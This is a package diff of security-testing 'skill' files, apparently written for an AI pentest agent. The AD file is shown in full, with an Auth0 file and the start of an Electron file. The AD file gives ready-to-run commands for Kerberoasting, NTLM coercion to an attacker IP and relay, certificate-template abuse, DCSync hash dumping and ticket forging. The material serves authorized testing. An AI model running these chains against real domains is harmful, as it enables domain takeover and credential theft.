@gpzhang2001/sharpkit-skills 0.2.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (84) hide show
  1. package/LICENSE +201 -0
  2. package/README.md +12 -0
  3. package/THIRD_PARTY_NOTICES.md +48 -0
  4. package/lib/index.d.ts +2027 -0
  5. package/lib/index.d.ts.map +1 -0
  6. package/lib/index.js +70 -0
  7. package/lib/index.js.map +1 -0
  8. package/package.json +46 -0
  9. package/skills/analysis/counterevidence.md +185 -0
  10. package/skills/analysis/fix_verification.md +129 -0
  11. package/skills/analysis/severity_calibration.md +130 -0
  12. package/skills/analysis/source_aware_discovery.md +211 -0
  13. package/skills/cloud/aws.md +231 -0
  14. package/skills/cloud/azure.md +262 -0
  15. package/skills/cloud/gcp.md +194 -0
  16. package/skills/cloud/kubernetes.md +223 -0
  17. package/skills/coordination/root_agent.md +105 -0
  18. package/skills/coordination/source_aware_whitebox.md +47 -0
  19. package/skills/custom/api_spec_testing.md +61 -0
  20. package/skills/custom/dependency_cve_scanning.md +341 -0
  21. package/skills/custom/npx_confusion.md +233 -0
  22. package/skills/custom/source_aware_sast.md +192 -0
  23. package/skills/frameworks/django.md +214 -0
  24. package/skills/frameworks/fastapi.md +191 -0
  25. package/skills/frameworks/nestjs.md +225 -0
  26. package/skills/frameworks/nextjs.md +228 -0
  27. package/skills/protocols/graphql.md +276 -0
  28. package/skills/protocols/oauth.md +185 -0
  29. package/skills/reconnaissance/asset_discovery.md +150 -0
  30. package/skills/reconnaissance/infrastructure_lifecycle.md +226 -0
  31. package/skills/scan_modes/deep.md +164 -0
  32. package/skills/scan_modes/diff.md +86 -0
  33. package/skills/scan_modes/quick.md +68 -0
  34. package/skills/scan_modes/standard.md +99 -0
  35. package/skills/technologies/active_directory.md +233 -0
  36. package/skills/technologies/auth0.md +188 -0
  37. package/skills/technologies/electron_desktop_apps.md +181 -0
  38. package/skills/technologies/firebase.md +263 -0
  39. package/skills/technologies/grafana_prometheus.md +189 -0
  40. package/skills/technologies/llm_applications.md +257 -0
  41. package/skills/technologies/supabase.md +268 -0
  42. package/skills/tooling/agent_browser.md +551 -0
  43. package/skills/tooling/ffuf.md +72 -0
  44. package/skills/tooling/httpx.md +82 -0
  45. package/skills/tooling/hurl.md +99 -0
  46. package/skills/tooling/hypothesis.md +100 -0
  47. package/skills/tooling/katana.md +102 -0
  48. package/skills/tooling/naabu.md +68 -0
  49. package/skills/tooling/nmap.md +66 -0
  50. package/skills/tooling/nuclei.md +67 -0
  51. package/skills/tooling/python.md +109 -0
  52. package/skills/tooling/semgrep.md +72 -0
  53. package/skills/tooling/sqlmap.md +67 -0
  54. package/skills/tooling/subfinder.md +66 -0
  55. package/skills/vulnerabilities/agentic_system_security.md +207 -0
  56. package/skills/vulnerabilities/argument_injection.md +157 -0
  57. package/skills/vulnerabilities/authentication_jwt.md +166 -0
  58. package/skills/vulnerabilities/broken_function_level_authorization.md +154 -0
  59. package/skills/vulnerabilities/browser_security.md +192 -0
  60. package/skills/vulnerabilities/business_logic.md +178 -0
  61. package/skills/vulnerabilities/csrf.md +198 -0
  62. package/skills/vulnerabilities/header_injection.md +216 -0
  63. package/skills/vulnerabilities/http_request_smuggling.md +255 -0
  64. package/skills/vulnerabilities/idor.md +217 -0
  65. package/skills/vulnerabilities/information_disclosure.md +187 -0
  66. package/skills/vulnerabilities/insecure_deserialization.md +210 -0
  67. package/skills/vulnerabilities/insecure_file_uploads.md +194 -0
  68. package/skills/vulnerabilities/llm_prompt_injection.md +187 -0
  69. package/skills/vulnerabilities/mass_assignment.md +153 -0
  70. package/skills/vulnerabilities/nosql_injection.md +288 -0
  71. package/skills/vulnerabilities/open_redirect.md +165 -0
  72. package/skills/vulnerabilities/path_traversal_lfi_rfi.md +218 -0
  73. package/skills/vulnerabilities/prototype_pollution.md +142 -0
  74. package/skills/vulnerabilities/race_conditions.md +181 -0
  75. package/skills/vulnerabilities/rce.md +250 -0
  76. package/skills/vulnerabilities/semantic_confusion.md +189 -0
  77. package/skills/vulnerabilities/sql_injection.md +190 -0
  78. package/skills/vulnerabilities/ssrf.md +186 -0
  79. package/skills/vulnerabilities/ssti.md +270 -0
  80. package/skills/vulnerabilities/subdomain_takeover.md +167 -0
  81. package/skills/vulnerabilities/weak_password_detection.md +200 -0
  82. package/skills/vulnerabilities/xss.md +206 -0
  83. package/skills/vulnerabilities/xxe.md +223 -0
  84. package/src/index.ts +89 -0
@@ -0,0 +1,233 @@
1
+ ---
2
+ name: active-directory
3
+ description: Active Directory / Kerberos domain testing covering roasting, delegation abuse, AD CS (ESC1-ESC17), NTLM coercion+relay, DACL abuse, and credential dumping
4
+ ---
5
+
6
+ # Active Directory
7
+
8
+ Active Directory compromise usually comes from misconfiguration, not memory-corruption bugs: a roastable service account, a delegation flag, a vulnerable certificate template, or an over-permissive ACL turns a single low-priv domain user into Domain Admin. Almost every step needs valid domain credentials (or a foothold to coerce them), and almost every path ends at DCSync or a forged ticket. Test the identity layer — Kerberos, LDAP, NTLM, SMB, AD CS — not the marketing website in front of it.
9
+
10
+ ## Attack Surface
11
+
12
+ **Core services (per domain controller)**
13
+ - Kerberos (88/tcp+udp), LDAP/LDAPS (389/636), Global Catalog (3268/3269)
14
+ - SMB (445), RPC/DCE endpoint mapper (135) + high dynamic ports, NetBIOS (137-139)
15
+ - DNS (53) — AD-integrated, often allows dynamic updates (ADIDNS)
16
+ - WinRM (5985/5986), RDP (3389), MSSQL (1433) on member servers
17
+ - AD CS: Certificate Authority + web enrollment (`/certsrv`, `/ADPolicyProvider_CEP_*`, ES/CES)
18
+
19
+ **Principals & objects**
20
+ - Users, computers (`$` accounts), gMSA/sMSA, groups, GPOs, OUs, trusts
21
+ - `servicePrincipalName`, `userAccountControl` flags, `msDS-AllowedToDelegateTo`, `msDS-AllowedToActOnBehalfOfOtherIdentity`, `msDS-KeyCredentialLink`
22
+ - DACLs on objects (GenericAll/GenericWrite/WriteDacl/WriteOwner/AddSelf)
23
+
24
+ **Trust boundaries**
25
+ - Intra-forest (parent/child), inter-forest, external, SID history
26
+ - `MachineAccountQuota` (default 10 → any user can join computer accounts)
27
+
28
+ ## Reconnaissance
29
+
30
+ **Anonymous / pre-auth (no creds)**
31
+ ```
32
+ # Domain + naming context from LDAP rootDSE
33
+ nmap -Pn -p 389 --script ldap-rootdse <DC>
34
+ # SMB null session / signing / OS
35
+ nmap -Pn -p445 --script "smb-os-discovery,smb2-security-mode" <DC>
36
+ enum4linux-ng -A <DC>
37
+ # Username-less user enum via Kerberos pre-auth
38
+ kerbrute userenum -d <DOMAIN> --dc <DC> users.txt
39
+ ```
40
+
41
+ **Authenticated enumeration (any valid user)**
42
+ ```
43
+ nxc ldap <DC> -u <USER> -p <PASS> # confirm creds + domain info
44
+ nxc smb <SUBNET> -u <USER> -p <PASS> --shares # readable/writable shares
45
+ nxc ldap <DC> -u <USER> -p <PASS> --users --groups --pass-pol
46
+ ldapdomaindump ldap://<DC> -u '<DOMAIN>\<USER>' -p <PASS>
47
+ ```
48
+
49
+ **BloodHound graph (the single most valuable step)**
50
+ ```
51
+ bloodhound-ce-python -d <DOMAIN> -u <USER> -p <PASS> -c All -ns <DC_IP> --zip
52
+ # or, remote SharpHound-equivalent collector:
53
+ nxc ldap <DC> -u <USER> -p <PASS> --bloodhound --collection-method All --dns-server <DC_IP>
54
+ ```
55
+ Import into BloodHound (CE) and run the built-in "Shortest paths to Domain Admins" / "Owned principals" queries before touching anything else.
56
+
57
+ ## Key Vulnerabilities
58
+
59
+ ### Kerberos Roasting
60
+
61
+ **Kerberoasting** — any authenticated user can request a service ticket (RC4/`$krb5tgs$23$`) for any account with an SPN and crack it offline. Human-set service-account passwords are the target; machine accounts are usually uncrackable.
62
+ ```
63
+ nxc ldap <DC> -u <USER> -p <PASS> --kerberoasting kerb.txt
64
+ # or impacket
65
+ GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASS> -outputfile kerb.txt
66
+ hashcat -m 13100 kerb.txt wordlist.txt
67
+ ```
68
+
69
+ **AS-REP Roasting** — accounts with `DONT_REQ_PREAUTH` yield a crackable `$krb5asrep$23$` blob with *no* creds needed if the username is known.
70
+ ```
71
+ GetNPUsers.py <DOMAIN>/ -usersfile users.txt -no-pass -dc-ip <DC_IP>
72
+ hashcat -m 18200 asrep.txt wordlist.txt
73
+ ```
74
+
75
+ **Targeted Kerberoasting** — with GenericAll/GenericWrite over a user, add an SPN, roast, then remove it.
76
+
77
+ ### Delegation Abuse
78
+
79
+ - **Unconstrained** (`TRUSTED_FOR_DELEGATION`) — compromise the host, coerce a DC/DA to auth to it (PrinterBug/PetitPotam), capture their TGT from LSA, reuse it. Straight to DCSync.
80
+ - **Constrained** (`msDS-AllowedToDelegateTo`) — S4U2Self+S4U2Proxy to impersonate any user to the listed SPN; swap the SPN service class (`cifs`/`host`/`ldap`) for broader access.
81
+ - **RBCD** (`msDS-AllowedToActOnBehalfOfOtherIdentity`) — with write access over a computer object + `MachineAccountQuota>0`, create a fake computer, set RBCD, S4U to get an admin ticket for that host.
82
+ ```
83
+ # RBCD chain
84
+ addcomputer.py -computer-name FAKE$ -computer-pass P@ss <DOMAIN>/<USER>:<PASS>
85
+ rbcd.py -delegate-from FAKE$ -delegate-to TARGET$ -action write <DOMAIN>/<USER>:<PASS>
86
+ getST.py -spn cifs/target.<DOMAIN> -impersonate Administrator <DOMAIN>/FAKE$:P@ss
87
+ ```
88
+
89
+ ### AD Certificate Services (ESC1-ESC17)
90
+
91
+ AD CS is the highest-yield modern path — one misconfigured template promotes a low-priv user to DA and survives password resets. Enumerate first, everything else follows:
92
+ ```
93
+ certipy find -u <USER>@<DOMAIN> -p <PASS> -dc-ip <DC_IP> -vulnerable -stdout
94
+ ```
95
+ - **ESC1** — template allows enrollee-supplied SAN + client-auth EKU → request a cert as `administrator`:
96
+ ```
97
+ certipy req -u <USER>@<DOMAIN> -p <PASS> -ca <CA> -template <T> -upn administrator@<DOMAIN>
98
+ certipy auth -pfx administrator.pfx -dc-ip <DC_IP> # → NT hash / TGT
99
+ ```
100
+ - **ESC8** — NTLM relay to the CA web-enrollment endpoint (coerce a DC, relay to `/certsrv`) → DC certificate → DCSync.
101
+ - **ESC others** — ESC2/3 (any-purpose/enrollment-agent), ESC4 (writable template DACL → make it ESC1), ESC6 (`EDITF_ATTRIBUTESUBJECTALTNAME2` on the CA), ESC7 (CA officer rights), ESC9/10 (weak cert mapping), ESC11 (RPC relay), ESC13 (issuance-policy→group), ESC15 (app-policy on v1 templates). `certipy find -vulnerable` flags each.
102
+
103
+ ### NTLM Coercion & Relay
104
+
105
+ Force a privileged machine to authenticate to you, then relay that NTLM auth to a service that doesn't enforce signing/EPA (LDAP, AD CS, SMB).
106
+ ```
107
+ # 1. Start the relay (LDAP → RBCD, or AD CS → cert)
108
+ ntlmrelayx.py -t ldap://<DC> --delegate-access --no-dump
109
+ ntlmrelayx.py -t http://<CA>/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
110
+ # 2. Coerce a target to authenticate
111
+ coercer coerce -u <USER> -p <PASS> -t <TARGET> -l <ATTACKER_IP>
112
+ PetitPotam.py -u <USER> -p <PASS> <ATTACKER_IP> <DC> # MS-EFSR
113
+ printerbug.py <DOMAIN>/<USER>:<PASS>@<TARGET> <ATTACKER_IP> # MS-RPRN
114
+ ```
115
+ LLMNR/NBT-NS/mDNS poisoning with Responder captures NetNTLMv2 hashes on the broadcast segment for offline cracking or relay.
116
+
117
+ ### DACL / Object Abuse
118
+
119
+ From BloodHound edges:
120
+ - **GenericAll/GenericWrite** on a user → targeted Kerberoast or Shadow Credentials (`msDS-KeyCredentialLink` via Certipy/pywhisker → PKINIT → NT hash).
121
+ - **WriteDacl/WriteOwner** → grant yourself GenericAll, then DCSync rights on the domain object.
122
+ - **ForceChangePassword** → reset a target's password.
123
+ - **AddMember** on a privileged group → self-add.
124
+ - **GPO edit rights** → push an immediate scheduled task / local admin to linked OUs.
125
+ ```
126
+ # Shadow Credentials (no password reset needed, stealthier)
127
+ certipy shadow auto -u <USER>@<DOMAIN> -p <PASS> -account <TARGET> -dc-ip <DC_IP>
128
+ # bloodyAD for generic DACL edits
129
+ bloodyAD -u <USER> -p <PASS> -d <DOMAIN> --host <DC> add genericAll <TARGET_DN> <USER>
130
+ ```
131
+
132
+ ### Credential Access & Domain Dominance
133
+
134
+ - **DCSync** (with replication rights — `DS-Replication-Get-Changes*`) dumps any/all hashes incl. `krbtgt`:
135
+ ```
136
+ secretsdump.py <DOMAIN>/<USER>:<PASS>@<DC> -just-dc-user krbtgt
137
+ nxc smb <DC> -u <USER> -p <PASS> --ntds # full NTDS.dit
138
+ ```
139
+ - **Golden ticket** (`krbtgt` hash) / **Silver ticket** (service acct hash) / **Diamond ticket** — forge TGTs/STs for persistence.
140
+ - **Pass-the-Hash / OverPass-the-Hash / Pass-the-Ticket** — reuse NT hashes or Kerberos tickets without the plaintext.
141
+ - **LAPS / gMSA** — readable `ms-Mcs-AdmPwd` or `msDS-ManagedPassword` grants local admin / service creds.
142
+
143
+ ### Known unauthenticated CVEs (patch-dependent)
144
+
145
+ - **ZeroLogon** (CVE-2020-1472) — resets the DC machine account to null, instant DA on unpatched DCs.
146
+ - **noPac** (CVE-2021-42278/42287) — sAMAccountName spoofing → impersonate DC.
147
+ - **PrintNightmare** (CVE-2021-1675/34527), **PetitPotam** (unauth MS-EFSR pre-KB5005413).
148
+ Confirm with a version/patch check before firing — these are destructive.
149
+
150
+ ## Advanced Techniques
151
+
152
+ - **UnPAC-the-hash** — recover a user's NT hash from a PKINIT/cert auth (Certipy `auth` prints it).
153
+ - **sAMAccountName spoofing** chain (noPac) when `MachineAccountQuota>0` and DCs unpatched.
154
+ - **SID history injection** across trusts for cross-domain/forest escalation.
155
+ - **ADIDNS poisoning** — add wildcard/records via authenticated LDAP to intercept name resolution.
156
+ - **Timeroast** — roast computer-account passwords via NTP if the DC exposes MS-SNTP.
157
+
158
+ ## Testing Methodology
159
+
160
+ 1. **Foothold check** — Confirm creds work (`nxc ldap/smb`) and note privileges; note `MachineAccountQuota` and password policy.
161
+ 2. **BloodHound first** — Collect + graph before manual work; mark the foothold principal as owned and read the DA paths.
162
+ 3. **Low-noise credential harvest** — AS-REP roast (no auth), Kerberoast, readable LAPS/gMSA, GPP passwords in SYSVOL.
163
+ 4. **AD CS sweep** — `certipy find -vulnerable`; it is often the shortest path and independent of the BloodHound graph.
164
+ 5. **DACL edges** — Walk each BloodHound edge from owned → high value; prefer Shadow Credentials over password resets (reversible, quieter).
165
+ 6. **Delegation** — Enumerate unconstrained/constrained/RBCD; chain with coercion where a privileged auth is needed.
166
+ 7. **Coercion + relay** — Only where signing/EPA is off; identify the relay target (LDAP/AD CS) first.
167
+ 8. **Prove domain dominance** — DCSync `krbtgt` / a target user, then stop. Do not persist (golden ticket) on client engagements unless in scope.
168
+
169
+ ## Validation
170
+
171
+ 1. Show the exact misconfiguration (SPN, `userAccountControl` flag, template flags, ACE, missing patch) with the enumerating tool's raw output.
172
+ 2. Demonstrate the privilege gained — a cracked service-account password, an issued certificate authenticating as a privileged user, or an NT hash from DCSync.
173
+ 3. Provide the full chain: owned principal → edge/misconfig → escalation step → resulting access, with commands and evidence at each hop.
174
+ 4. Tie the impact to a concrete identity (e.g. "user `svc-sql` → Domain Admins") rather than a generic "AD is misconfigured".
175
+ 5. For coercion/relay, capture both the coerced authentication and the relayed action succeeding.
176
+
177
+ ## False Positives
178
+
179
+ - Kerberoastable SPN on a **machine account** — password is 120-char random, effectively uncrackable; not a finding on its own.
180
+ - `certipy find` lists a template as ESC-vulnerable but enrollment rights exclude your principal (check the `Enrollment Rights` / `Requires Manager Approval` fields).
181
+ - Delegation flags present but the account is disabled or the target SPN is unreachable.
182
+ - Relay target enforces SMB/LDAP signing or channel binding (EPA) — the relay will fail; not exploitable.
183
+ - DCs fully patched — ZeroLogon/noPac/PetitPotam checks report "not vulnerable".
184
+ - "Writable" share that only exposes a redirected/quarantined path with no useful content.
185
+
186
+ ## Impact
187
+
188
+ - Full domain (and often forest) compromise: read/modify all objects, all credentials, all data.
189
+ - Persistent, patch-surviving access via golden tickets, forged certificates, or SID history.
190
+ - Lateral movement to every domain-joined host (file servers, databases, hypervisors).
191
+ - Ransomware blast radius — DA is the standard pivot for domain-wide deployment.
192
+
193
+ ## Pro Tips
194
+
195
+ 1. BloodHound before brute force — the graph turns hours of guessing into a named path; always mark owned nodes.
196
+ 2. Prefer AS-REP roasting and `certipy find` early — both are quiet and one needs no creds.
197
+ 3. Shadow Credentials > password reset when you have write access: reversible, doesn't lock out the account, no plaintext needed.
198
+ 4. Fix clock skew before Kerberos work: `sudo ntpdate <DC>` (or `faketime`) — `KRB_AP_ERR_SKEW` kills ticket ops.
199
+ 5. Use FQDNs and set `/etc/resolv.conf` to the DC (or `--dns-server`); Kerberos and LDAP referrals break on bare IPs.
200
+ 6. `nxc` (NetExec) is the CrackMapExec successor — CME is unmaintained; use `nxc` and its `--gen-relay-list`, `--bloodhound`, `-M` modules.
201
+ 7. Pair with `nmap` (service/port discovery) and `authentication_jwt` skills where the domain fronts web SSO (ADFS/SAML).
202
+
203
+ ## Tooling
204
+
205
+ **None of the AD tools below ship in the sandbox by default** (the image is Kali-rolling but installs only web-focused tooling). Install what the task needs — the sandbox has `pipx`, `pip`, `go`, `git`, and Kali's apt repos. AD testing also requires **network reachability to the target DC/subnet**, which the default web-target sandbox usually lacks; confirm connectivity first.
206
+
207
+ ```
208
+ # Python identity toolkit (impacket = GetUserSPNs/GetNPUsers/secretsdump/ntlmrelayx/getST/addcomputer/rbcd)
209
+ pipx install impacket
210
+ pipx install netexec # nxc — CME successor: ldap/smb/winrm enum, roasting, bloodhound, ntds
211
+ pipx install certipy-ad # AD CS enum + ESC1-ESC17 abuse, shadow credentials
212
+ pipx install bloodhound-ce # bloodhound-ce-python collector (BloodHound CE ingestor)
213
+ pipx install coercer # multi-protocol coercion (MS-EFSR/RPRN/DFSNM/FSRVP)
214
+ pipx install bloodyAD # DACL / LDAP object edits over LDAP
215
+ pipx install ldapdomaindump # LDAP dumper (bloodhound.py author)
216
+ go install github.com/ropnop/kerbrute@latest # kerbrute (Go) — user enum / pre-auth brute
217
+
218
+ # Kali apt packages
219
+ sudo apt-get install -y smbclient ldap-utils krb5-user enum4linux-ng responder hashcat john
220
+ ```
221
+
222
+ - **NetExec (`nxc`)** — swiss-army enum/exec across smb/ldap/winrm/mssql; use for creds validation, share hunting, `--kerberoasting`, `--bloodhound`, `--ntds`.
223
+ - **impacket** — the canonical scriptable attack primitives (roasting, S4U, relay, secretsdump, ticket forging).
224
+ - **Certipy** — AD CS: `find -vulnerable`, `req`, `auth`, `shadow`, relay; covers the full ESC1-ESC17 set.
225
+ - **BloodHound CE + collector** — attack-path graphing; the first thing to run with any valid credential.
226
+ - **Responder / ntlmrelayx / Coercer / PetitPotam** — the poisoning→coercion→relay chain (needs L2 access or a coercible target).
227
+ - **hashcat / john** — offline cracking of roasted `$krb5tgs$`/`$krb5asrep$` blobs (modes `13100` / `18200`).
228
+
229
+ Humans often use GUI BloodHound and Windows-side C# tooling (SharpHound, Rubeus, Certify, PowerView); in-sandbox prefer the Python/Linux equivalents above (`bloodhound-ce-python`, impacket, Certipy, `nxc`).
230
+
231
+ ## Summary
232
+
233
+ AD compromise is a graph problem: start from a valid credential, map paths with BloodHound, and chain misconfigurations — roastable accounts, delegation flags, vulnerable certificate templates, coercion+relay, and permissive DACLs — until you reach DCSync or a forged ticket. The identity plane (Kerberos/LDAP/NTLM/SMB/AD CS), not the perimeter, is where domains fall.
@@ -0,0 +1,188 @@
1
+ ---
2
+ name: auth0
3
+ description: Auth0 tenant security testing covering misconfigured rules/actions, scope escalation, MFA bypass, and cross-application token confusion
4
+ ---
5
+
6
+ # Auth0
7
+
8
+ Auth0 misconfigurations enable account takeover, cross-tenant data access, and privilege escalation through Rules/Actions, loose application settings, weak API authorization, and token acceptance bugs in consuming applications. Test both the Auth0 tenant configuration and how downstream APIs validate Auth0-issued tokens.
9
+
10
+ ## Attack Surface
11
+
12
+ **Auth0 Components**
13
+ - Applications: SPA, Regular Web, Native, Machine-to-Machine (M2M)
14
+ - APIs (Resource Servers): identifiers, scopes, RBAC, permissions
15
+ - Connections: database, social, enterprise (SAML/OIDC)
16
+ - Rules (legacy) and Actions (post-login, pre-user-registration, credentials exchange)
17
+ - Organizations (multi-tenant B2B), roles, permissions
18
+ - Universal Login, custom domains, custom database scripts
19
+
20
+ **Token Types**
21
+ - ID Token (OIDC), Access Token (JWT or opaque), Refresh Token
22
+ - Management API tokens, client credentials tokens (M2M)
23
+ - PAR, PKCE flows for public clients
24
+
25
+ **Management**
26
+ - Auth0 Management API (`/api/v2/`)
27
+ - Tenant settings, attack protection, MFA policies, anomaly detection
28
+ - Logs streaming, hooks, custom prompts
29
+
30
+ ## Reconnaissance
31
+
32
+ **Tenant Discovery**
33
+ ```
34
+ # From app config, JS bundles, mobile apps
35
+ domain: tenant.us.auth0.com / tenant.eu.auth0.com / login.customdomain.com
36
+ client_id, audience, scope values in authorize URLs
37
+ ```
38
+
39
+ **OIDC Discovery**
40
+ ```
41
+ GET https://TENANT.auth0.com/.well-known/openid-configuration
42
+ GET https://TENANT.auth0.com/.well-known/jwks.json
43
+ ```
44
+
45
+ **Authenticated Userinfo** (requires bearer access token — unauthenticated requests return 401)
46
+ ```
47
+ GET https://TENANT.auth0.com/userinfo
48
+ Authorization: Bearer <access_token>
49
+ ```
50
+
51
+ **Application Fingerprint**
52
+ - Login redirect to `https://TENANT.auth0.com/authorize?client_id=...`
53
+ - `auth0-js`, `@auth0/auth0-spa-js`, `auth0-react` in frontend bundles
54
+ - API `audience` parameter in token requests
55
+
56
+ **Management API Exposure**
57
+ - Leaked M2M credentials with `read:users`, `update:users`, `create:users` scopes
58
+ - Management API called from browser (CORS misconfiguration)
59
+
60
+ ## Key Vulnerabilities
61
+
62
+ ### Application Configuration
63
+
64
+ **Callback URL / Origin Misconfigurations**
65
+ - Wildcard or overly broad Allowed Callback URLs: `https://app.com/*`, `http://localhost:*`
66
+ - Allowed Logout URLs, Web Origins, CORS origins too permissive
67
+ - Native app custom scheme hijacking (`com.app://callback`)
68
+
69
+ **Token Settings**
70
+ - ID Token used as API access token (audience/scope confusion)
71
+ - Refresh token rotation disabled; overly long TTL
72
+ - Signing algorithm downgrade if RS256 not enforced downstream
73
+
74
+ ### API Authorization (Resource Server)
75
+
76
+ **Missing Scope/RBAC Enforcement**
77
+ - API accepts any valid access token without required `scope` or `permissions` claim
78
+ - RBAC enabled in Auth0 but API doesn't call `/userinfo` or validate `permissions` array
79
+ - Wrong `audience` accepted — token for App A works on App B's API
80
+
81
+ **Test:**
82
+ ```
83
+ # Token for audience A used against API B
84
+ Authorization: Bearer <token_with_audience_A>
85
+ ```
86
+
87
+ ### Rules and Actions Abuse
88
+
89
+ **Post-Login Rule/Action Injection**
90
+ - Rules that add claims based on unvalidated user metadata:
91
+ ```javascript
92
+ user.app_metadata.role = 'admin' // if user can set app_metadata via signup/API
93
+ ```
94
+ - `context.authorization` manipulation in Actions
95
+ - Secrets in Rule code exposed to tenant admins or via Management API leak
96
+
97
+ **Signup / Registration Actions**
98
+ - `pre-user-registration` not blocking disposable emails or role self-assignment
99
+ - Social connection account linking without verified email → account takeover
100
+
101
+ ### Organizations (B2B Multi-Tenancy)
102
+
103
+ - Missing `org_id` validation in API — user from Org A accesses Org B data
104
+ - Invitation flows accepting attacker email domains
105
+ - Organization membership not re-checked after role change
106
+
107
+ ### MFA Bypass
108
+
109
+ - MFA not enforced on Management API or high-risk applications
110
+ - Remember-browser cookie bypasses step-up for sensitive actions
111
+ - MFA challenge only on Universal Login but API accepts password-grant tokens without MFA
112
+ - Recovery codes/brute-force on enrollment endpoints
113
+
114
+ ### Account Takeover Vectors
115
+
116
+ - Password reset link not invalidated after use; predictable reset tokens
117
+ - Email verification not required before sensitive actions
118
+ - Change password without re-auth or MFA
119
+ - Linking attacker's social IdP to victim account (same email, unverified)
120
+
121
+ ### Management API
122
+
123
+ - M2M app with excessive scopes: `delete:users`, `update:users_app_metadata`
124
+ - Management API token in frontend JavaScript or mobile app
125
+ - Rate limiting absent on `/api/v2/users` enumeration
126
+
127
+ ### Custom Database Scripts
128
+
129
+ - Custom login script with SQL injection in username lookup
130
+ - `get_user` script returning excessive profile fields
131
+ - Scripts with hardcoded credentials or weak hashing
132
+
133
+ ## Advanced Techniques
134
+
135
+ **Cross-Application Token Confusion**
136
+ - Same `client_secret` reused across environments (dev/prod)
137
+ - Multiple APIs sharing signing keys without `aud` validation
138
+
139
+ **Resource Owner Password Grant (if enabled)**
140
+ - Legacy grant enabled — direct username/password to token endpoint, bypassing Universal Login MFA
141
+
142
+ **Impersonation / Delegation**
143
+ - `act_as` or delegation features misconfigured (legacy features in older tenants)
144
+
145
+ ## Testing Methodology
146
+
147
+ 1. **Extract tenant config** — Domain, client_id, audience, scopes from app
148
+ 2. **Callback/origin matrix** — Fuzz Allowed Callback URLs and Web Origins
149
+ 3. **Token validation** — Swap audiences, strip scopes, expired tokens, wrong signing keys
150
+ 4. **Org boundary** — Two org users accessing each other's org-scoped resources
151
+ 5. **MFA policy** — Sensitive actions without step-up; API paths bypassing MFA
152
+ 6. **Management API** — Hunt for leaked M2M creds; test scope boundaries
153
+ 7. **Rules/Actions** — Trace claim injection from `user_metadata` / `app_metadata`
154
+
155
+ ## Validation
156
+
157
+ 1. Demonstrate account takeover or cross-org access with token/callback/metadata abuse
158
+ 2. Show API accepting token without required scope/permission/audience
159
+ 3. MFA bypass PoC on protected application flow
160
+ 4. Document Auth0 setting (Rule, Application config, API RBAC) root cause
161
+ 5. Provide authorize → callback → API request chain with evidence
162
+
163
+ ## False Positives
164
+
165
+ - Callback URL validation rejects all fuzz attempts consistently
166
+ - API validates `aud`, `iss`, `scope`/`permissions` on every request
167
+ - MFA enforced via Auth0 Action on every login for sensitive apps
168
+ - `app_metadata` writable only by admin via Management API, not user signup
169
+ - Organizations feature correctly binds `org_id` in token and API enforces it
170
+
171
+ ## Impact
172
+
173
+ - Full account takeover across Auth0-connected applications
174
+ - Cross-tenant data breach in B2B org deployments
175
+ - Privilege escalation via metadata/claim injection in Rules
176
+ - Mass user enumeration/modification via Management API abuse
177
+
178
+ ## Pro Tips
179
+
180
+ 1. Always capture full authorize URL — `audience` and `scope` reveal API targets
181
+ 2. Decode access token JWT — check `permissions`, `scope`, `org_id`, `https://.../roles` claims
182
+ 3. Test dev/stage tenants separately — often weaker callback rules
183
+ 4. Pair with `oauth` and `authentication_jwt` skills for flow/token layer testing
184
+ 5. Management API M2M creds in CI logs are high-value — search GitHub, buckets, artifacts
185
+
186
+ ## Summary
187
+
188
+ Auth0 security spans tenant configuration (callbacks, MFA, Rules) and downstream API token validation (`aud`, `scope`, `permissions`, `org_id`). A perfectly configured Universal Login fails if the API accepts tokens without enforcing Auth0's authorization model.
@@ -0,0 +1,181 @@
1
+ ---
2
+ name: electron-desktop-apps
3
+ description: Test Electron desktop applications across renderer, preload, IPC, main-process, navigation, custom-protocol, storage, permission, and update trust boundaries; use for packaged Electron apps, ASAR review, web-to-native capability analysis, and Electron-specific exploit chains
4
+ ---
5
+
6
+ # Electron Desktop Applications
7
+
8
+ Use this skill for Electron applications. Other webview desktop frameworks may share the high-level web-to-native trust question, but their bridge, sandbox, update, and process APIs differ; do not apply Electron-specific conclusions to NW.js, CEF, Tauri, or Wails without mapping that framework separately.
9
+
10
+ Pair this skill with `browser_security` for browser state and navigation, `xss` for renderer injection, `argument_injection` for native subprocess launches, and `insecure_deserialization` or `rce` for a main-process sink.
11
+
12
+ ## Architecture and Authority Map
13
+
14
+ Inventory each security principal and the capabilities crossing between them:
15
+
16
+ ```text
17
+ origin + document + frame
18
+ -> renderer JavaScript
19
+ -> preload isolated world
20
+ -> contextBridge API
21
+ -> IPC channel
22
+ -> sender/argument/identity checks
23
+ -> main process or utility process
24
+ -> filesystem, process, credential, media, network, update, or OS action
25
+ ```
26
+
27
+ Record:
28
+
29
+ - Electron, Chromium, Node, and application versions
30
+ - packaging form, `app.asar`, unpacked resources, entry point, and fuses
31
+ - every `BrowserWindow`, `WebContentsView`, `<webview>`, session/partition, and child window
32
+ - `webPreferences`: `preload`, `nodeIntegration`, `contextIsolation`, `sandbox`, `webSecurity`, `allowRunningInsecureContent`, experimental features, and subframe/worker integration
33
+ - every preload export and every `ipcMain.handle`/`ipcMain.on` consumer
34
+ - origins/documents/frames that can reach each exported API
35
+ - custom protocols, deep links, navigation helpers, permissions, downloads, storage, and update channels
36
+
37
+ Do not infer authority from a setting or channel name alone. Follow one request from renderer input to the main-process side effect and record each authorization decision.
38
+
39
+ ## Package and Source Reconnaissance
40
+
41
+ Extract the application bundle with a reviewed, version-pinned ASAR implementation or inspect an already unpacked `resources/app` tree. Locate `package.json#main`, preload paths, build metadata, Electron version, native modules, and update configuration.
42
+
43
+ Search for:
44
+
45
+ ```text
46
+ BrowserWindow WebContentsView webviewTag webPreferences
47
+ preload contextBridge.exposeInMainWorld ipcRenderer
48
+ ipcMain.handle ipcMain.on webContents.ipc
49
+ will-navigate will-frame-navigate will-redirect
50
+ setWindowOpenHandler loadURL loadFile openExternal
51
+ setPermissionRequestHandler registerSchemesAsPrivileged
52
+ setAsDefaultProtocolClient open-url second-instance
53
+ autoUpdater electron-updater
54
+ ```
55
+
56
+ Treat decompiled or bundled JavaScript as a hypothesis when source maps, minification, generated IPC bindings, or runtime feature flags can change the installed behavior.
57
+
58
